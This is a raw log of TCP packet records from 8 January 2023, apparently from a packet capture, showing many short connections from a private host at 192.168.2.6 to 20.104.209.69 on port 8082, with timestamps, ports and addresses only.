Jan 8, 2023 16:10:15.475017071 CET	50144	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.588967085 CET	8082	50144	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.593413115 CET	8082	50144	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.593508005 CET	8082	50144	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.593586922 CET	50144	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.593600988 CET	8082	50144	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.593622923 CET	50144	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.593672037 CET	50144	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.600431919 CET	50144	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.714886904 CET	8082	50144	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.734662056 CET	50145	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.849288940 CET	8082	50145	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.849420071 CET	50145	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.849931002 CET	50145	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.963756084 CET	8082	50145	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.969202995 CET	8082	50145	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.969237089 CET	8082	50145	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.969252110 CET	8082	50145	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:15.969294071 CET	50145	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.969360113 CET	50145	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:15.983464003 CET	50145	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.097608089 CET	8082	50145	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:16.154351950 CET	50146	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.268728018 CET	8082	50146	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:16.268851995 CET	50146	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.269839048 CET	50146	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.383783102 CET	8082	50146	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:16.388837099 CET	8082	50146	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:16.388879061 CET	8082	50146	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:16.388992071 CET	50146	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.389004946 CET	8082	50146	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:16.389059067 CET	50146	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.389669895 CET	50146	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.504345894 CET	8082	50146	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:16.521450043 CET	50147	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.635842085 CET	8082	50147	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:16.636038065 CET	50147	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.640135050 CET	50147	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.755228996 CET	8082	50147	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:16.758642912 CET	8082	50147	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:16.758678913 CET	8082	50147	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:16.758719921 CET	8082	50147	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:16.758735895 CET	50147	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.758781910 CET	50147	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.758781910 CET	50147	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.765403986 CET	50147	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:16.879637003 CET	8082	50147	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:16.890918970 CET	50148	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.005553961 CET	8082	50148	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.008188009 CET	50148	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.016904116 CET	50148	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.131541014 CET	8082	50148	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.136343002 CET	8082	50148	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.136383057 CET	8082	50148	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.136398077 CET	8082	50148	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.136616945 CET	50148	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.153325081 CET	50148	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.267770052 CET	8082	50148	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.296607971 CET	50149	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.411607981 CET	8082	50149	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.411879063 CET	50149	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.412652969 CET	50149	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.526669025 CET	8082	50149	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.530941010 CET	8082	50149	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.530992031 CET	8082	50149	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.531153917 CET	50149	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.531270027 CET	8082	50149	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.531347036 CET	50149	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.531904936 CET	50149	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.646104097 CET	8082	50149	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.672555923 CET	50150	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.787024021 CET	8082	50150	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.787244081 CET	50150	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.798635006 CET	50150	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.912616968 CET	8082	50150	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.917099953 CET	8082	50150	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.917130947 CET	8082	50150	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.917172909 CET	50150	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.917217970 CET	50150	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.917433977 CET	8082	50150	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:17.917486906 CET	50150	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:17.917764902 CET	50150	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:18.031753063 CET	8082	50150	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:18.169826984 CET	50151	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:18.284123898 CET	8082	50151	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:18.284320116 CET	50151	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:18.672137022 CET	50151	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:18.786494017 CET	8082	50151	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:18.789975882 CET	8082	50151	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:18.790010929 CET	8082	50151	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:18.790116072 CET	50151	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:18.790134907 CET	8082	50151	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:18.790162086 CET	50151	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:18.790201902 CET	50151	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:18.860533953 CET	50151	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:18.974776030 CET	8082	50151	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:19.159884930 CET	50152	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:19.274359941 CET	8082	50152	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:19.274538040 CET	50152	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:19.275737047 CET	50152	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:19.391170025 CET	8082	50152	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:19.392936945 CET	8082	50152	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:19.393007994 CET	8082	50152	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:19.393069029 CET	50152	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:19.393102884 CET	50152	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:19.393192053 CET	8082	50152	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:19.393243074 CET	50152	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:19.953072071 CET	50152	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:20.067452908 CET	8082	50152	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:20.127252102 CET	50153	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:20.241976976 CET	8082	50153	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:20.242197990 CET	50153	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:20.245065928 CET	50153	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:20.359011889 CET	8082	50153	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:20.363272905 CET	8082	50153	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:20.363306046 CET	8082	50153	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:20.363348961 CET	50153	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:20.363389015 CET	50153	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:20.363817930 CET	8082	50153	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:20.363869905 CET	50153	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:20.364192009 CET	50153	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:20.481482029 CET	8082	50153	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.016336918 CET	50154	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.130883932 CET	8082	50154	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.131150007 CET	50154	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.137335062 CET	50154	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.251755953 CET	8082	50154	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.256773949 CET	8082	50154	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.256835938 CET	8082	50154	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.257000923 CET	50154	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.261221886 CET	8082	50154	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.261379957 CET	50154	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.270623922 CET	50154	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.384838104 CET	8082	50154	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.409147978 CET	50155	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.523648977 CET	8082	50155	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.523808002 CET	50155	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.524611950 CET	50155	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.638521910 CET	8082	50155	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.641937971 CET	8082	50155	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.641992092 CET	8082	50155	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.642015934 CET	8082	50155	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.642117977 CET	50155	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.642157078 CET	50155	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.645256996 CET	50155	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.759418964 CET	8082	50155	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.795245886 CET	50156	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.909692049 CET	8082	50156	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:22.909843922 CET	50156	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:22.911917925 CET	50156	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.026277065 CET	8082	50156	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.032048941 CET	8082	50156	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.032099009 CET	8082	50156	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.032212019 CET	50156	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.032392979 CET	8082	50156	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.032471895 CET	50156	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.033734083 CET	50156	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.147906065 CET	8082	50156	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.180458069 CET	50157	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.295213938 CET	8082	50157	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.296737909 CET	50157	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.297646046 CET	50157	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.411565065 CET	8082	50157	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.415987968 CET	8082	50157	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.416050911 CET	8082	50157	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.416073084 CET	8082	50157	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.416237116 CET	50157	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.436014891 CET	50157	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.550254107 CET	8082	50157	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.561816931 CET	50158	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.681382895 CET	8082	50158	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.685038090 CET	50158	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.685669899 CET	50158	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.799747944 CET	8082	50158	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.803231955 CET	8082	50158	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.803276062 CET	8082	50158	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.803298950 CET	8082	50158	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.803555965 CET	50158	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.804527044 CET	50158	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:23.918557882 CET	8082	50158	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:23.960025072 CET	50159	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.074160099 CET	8082	50159	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.076822042 CET	50159	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.101469040 CET	50159	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.215876102 CET	8082	50159	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.220221996 CET	8082	50159	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.220268011 CET	8082	50159	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.220417976 CET	50159	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.220558882 CET	8082	50159	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.222474098 CET	50159	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.224688053 CET	50159	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.338706970 CET	8082	50159	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.359350920 CET	50160	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.473961115 CET	8082	50160	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.474283934 CET	50160	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.474972963 CET	50160	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.590408087 CET	8082	50160	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.594499111 CET	8082	50160	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.594546080 CET	8082	50160	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.594589949 CET	8082	50160	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.594711065 CET	50160	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.594784975 CET	50160	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.606353998 CET	50160	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.721925974 CET	8082	50160	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.741399050 CET	50161	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.855536938 CET	8082	50161	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.855690956 CET	50161	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.856255054 CET	50161	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.970248938 CET	8082	50161	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.975893974 CET	8082	50161	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.975966930 CET	8082	50161	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.975996017 CET	8082	50161	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:24.976141930 CET	50161	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.976181984 CET	50161	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:24.976943016 CET	50161	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:25.090833902 CET	8082	50161	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:25.113934994 CET	50162	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:25.228444099 CET	8082	50162	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:25.228585958 CET	50162	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:25.229127884 CET	50162	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:25.343651056 CET	8082	50162	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:25.479367018 CET	8082	50162	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:25.479413986 CET	8082	50162	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:25.479424953 CET	8082	50162	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:25.479512930 CET	50162	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:25.480114937 CET	50162	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:25.594253063 CET	8082	50162	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:25.631519079 CET	50163	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:25.746022940 CET	8082	50163	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:25.746165037 CET	50163	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:25.746860981 CET	50163	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:25.860876083 CET	8082	50163	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:25.864923954 CET	8082	50163	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:25.864962101 CET	8082	50163	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:25.864996910 CET	8082	50163	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:25.865021944 CET	50163	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:25.865077019 CET	50163	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:25.882833958 CET	50163	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:25.997122049 CET	8082	50163	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.022083044 CET	50164	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.136571884 CET	8082	50164	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.136739016 CET	50164	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.137442112 CET	50164	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.251527071 CET	8082	50164	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.254832029 CET	8082	50164	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.254870892 CET	8082	50164	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.254964113 CET	50164	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.255353928 CET	8082	50164	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.255434036 CET	50164	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.257953882 CET	50164	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.372282028 CET	8082	50164	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.409029007 CET	50165	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.523354053 CET	8082	50165	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.523617029 CET	50165	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.526134968 CET	50165	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.640245914 CET	8082	50165	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.644514084 CET	8082	50165	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.644555092 CET	8082	50165	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.644684076 CET	50165	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.644716978 CET	8082	50165	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.644859076 CET	50165	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.649199009 CET	50165	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.763578892 CET	8082	50165	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.782027006 CET	50166	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.896595955 CET	8082	50166	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:26.896833897 CET	50166	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:26.897418976 CET	50166	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.012176991 CET	8082	50166	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.018201113 CET	8082	50166	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.018249035 CET	8082	50166	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.018373013 CET	8082	50166	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.018488884 CET	50166	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.018579960 CET	50166	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.053141117 CET	50166	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.167593956 CET	8082	50166	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.188750029 CET	50167	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.303210974 CET	8082	50167	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.303488016 CET	50167	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.304166079 CET	50167	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.418324947 CET	8082	50167	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.423324108 CET	8082	50167	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.423377991 CET	8082	50167	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.423577070 CET	8082	50167	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.423609972 CET	50167	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.423681974 CET	50167	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.424293041 CET	50167	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.538289070 CET	8082	50167	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.569559097 CET	50168	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.684247971 CET	8082	50168	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.684506893 CET	50168	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.685270071 CET	50168	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.799213886 CET	8082	50168	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.806746960 CET	8082	50168	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.806793928 CET	8082	50168	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.806988001 CET	50168	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.807113886 CET	8082	50168	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.807190895 CET	50168	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.814632893 CET	50168	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:27.928766012 CET	8082	50168	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:27.953430891 CET	50169	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.067797899 CET	8082	50169	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.067982912 CET	50169	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.070089102 CET	50169	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.184357882 CET	8082	50169	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.188807964 CET	8082	50169	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.188851118 CET	8082	50169	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.188934088 CET	8082	50169	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.189078093 CET	50169	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.189143896 CET	50169	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.201687098 CET	50169	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.317617893 CET	8082	50169	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.383996010 CET	50170	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.498788118 CET	8082	50170	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.499149084 CET	50170	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.499996901 CET	50170	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.613997936 CET	8082	50170	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.619107008 CET	8082	50170	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.619160891 CET	8082	50170	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.619304895 CET	8082	50170	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.619313955 CET	50170	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.619313955 CET	50170	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.619431973 CET	50170	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.623820066 CET	50170	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.738343000 CET	8082	50170	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.755618095 CET	50171	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.870889902 CET	8082	50171	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.871081114 CET	50171	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.871963978 CET	50171	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.986287117 CET	8082	50171	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.989984035 CET	8082	50171	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.990026951 CET	8082	50171	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.990048885 CET	8082	50171	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:28.990076065 CET	50171	8082	192.168.2.6	20.104.209.69
